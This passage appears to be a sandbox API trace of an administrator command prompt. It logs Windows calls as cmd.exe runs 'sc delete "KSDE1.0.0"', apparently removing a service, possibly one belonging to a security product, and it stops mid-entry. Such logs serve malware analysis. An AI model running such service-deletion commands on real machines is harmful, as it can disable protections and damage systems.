[0078.612] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.612] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.612] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.612] GetFileType (hFile=0xb8) returned 0x3 [0078.612] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.612] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.612] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.612] GetFileType (hFile=0x120) returned 0x3 [0078.612] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"KSDE1.0.0\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"KSDE1.0.0\"\n", lpUsedDefaultChar=0x0) returned 23 [0078.612] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x16, lpOverlapped=0x0) returned 1 [0078.612] GetProcessHeap () returned 0x240000 [0078.612] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0078.612] GetProcessHeap () returned 0x240000 [0078.612] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0078.612] GetProcessHeap () returned 0x240000 [0078.612] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.612] GetProcessHeap () returned 0x240000 [0078.612] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.612] GetProcessHeap () returned 0x240000 [0078.612] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256510 [0078.613] GetConsoleOutputCP () returned 0x1b5 [0078.613] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.613] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.613] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.613] GetProcessHeap () returned 0x240000 [0078.613] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.613] GetProcessHeap () returned 0x240000 [0078.613] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x25aa40 [0078.613] GetProcessHeap () returned 0x240000 [0078.613] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0078.613] SetErrorMode (uMode=0x0) returned 0x1 [0078.613] SetErrorMode (uMode=0x1) returned 0x0 [0078.613] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.614] SetErrorMode (uMode=0x1) returned 0x1 [0078.614] GetProcessHeap () returned 0x240000 [0078.614] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0078.614] GetProcessHeap () returned 0x240000 [0078.614] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0078.614] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.614] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.614] GetProcessHeap () returned 0x240000 [0078.614] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.614] GetProcessHeap () returned 0x240000 [0078.614] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.614] GetProcessHeap () returned 0x240000 [0078.614] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.614] GetProcessHeap () returned 0x240000 [0078.614] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.614] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.614] GetProcessHeap () returned 0x240000 [0078.614] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.614] GetProcessHeap () returned 0x240000 [0078.614] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.614] GetProcessHeap () returned 0x240000 [0078.614] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.614] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.614] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.615] GetLastError () returned 0x2 [0078.615] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.615] GetLastError () returned 0x2 [0078.615] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.615] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.615] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.615] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.615] GetLastError () returned 0x2 [0078.615] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.615] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.616] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.616] GetProcessHeap () returned 0x240000 [0078.616] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.616] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.616] GetProcessHeap () returned 0x240000 [0078.616] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa4) returned 0x259180 [0078.616] GetProcessHeap () returned 0x240000 [0078.616] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa4 [0078.616] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"KSDE1.0.0\"") returned 1 [0078.617] GetProcessHeap () returned 0x240000 [0078.617] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.617] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.617] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.617] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.617] GetProcessHeap () returned 0x240000 [0078.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.617] GetProcessHeap () returned 0x240000 [0078.617] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.617] GetProcessHeap () returned 0x240000 [0078.617] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.617] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"KSDE1.0.0\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"KSDE1.0.0\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"KSDE1.0.0\"", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xa38, dwThreadId=0xac4)) returned 1 [0078.621] CloseHandle (hObject=0x50) returned 1 [0078.621] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.621] GetProcessHeap () returned 0x240000 [0078.621] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0078.621] GetEnvironmentStringsW () returned 0x261b10* [0078.621] GetProcessHeap () returned 0x240000 [0078.621] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.622] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.622] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.622] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.622] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0078.667] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.667] CloseHandle (hObject=0x54) returned 1 [0078.667] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.667] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.667] GetProcessHeap () returned 0x240000 [0078.667] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.667] GetEnvironmentStringsW () returned 0x261b10* [0078.667] GetProcessHeap () returned 0x240000 [0078.667] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.668] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.668] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.668] GetProcessHeap () returned 0x240000 [0078.668] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.668] GetEnvironmentStringsW () returned 0x261b10* [0078.668] GetProcessHeap () returned 0x240000 [0078.668] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.668] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.668] GetProcessHeap () returned 0x240000 [0078.668] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.668] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.668] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.668] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.668] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.669] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.669] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.669] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.669] GetConsoleOutputCP () returned 0x1b5 [0078.669] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.669] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.669] GetProcessHeap () returned 0x240000 [0078.669] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.669] GetProcessHeap () returned 0x240000 [0078.669] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.669] GetProcessHeap () returned 0x240000 [0078.669] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.669] GetProcessHeap () returned 0x240000 [0078.669] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.670] GetProcessHeap () returned 0x240000 [0078.670] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0078.670] GetProcessHeap () returned 0x240000 [0078.670] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.670] GetProcessHeap () returned 0x240000 [0078.670] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0078.670] GetProcessHeap () returned 0x240000 [0078.670] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.670] GetProcessHeap () returned 0x240000 [0078.670] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.670] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.670] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.670] GetFileType (hFile=0x120) returned 0x3 [0078.670] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.670] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.670] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.670] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.670] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.670] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.670] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.670] GetFileType (hFile=0x120) returned 0x3 [0078.670] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.670] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.671] GetFileType (hFile=0xb8) returned 0x3 [0078.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.671] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.671] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.671] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.671] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.671] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.672] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.672] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.672] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.672] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.672] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.673] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="kKSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.673] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: 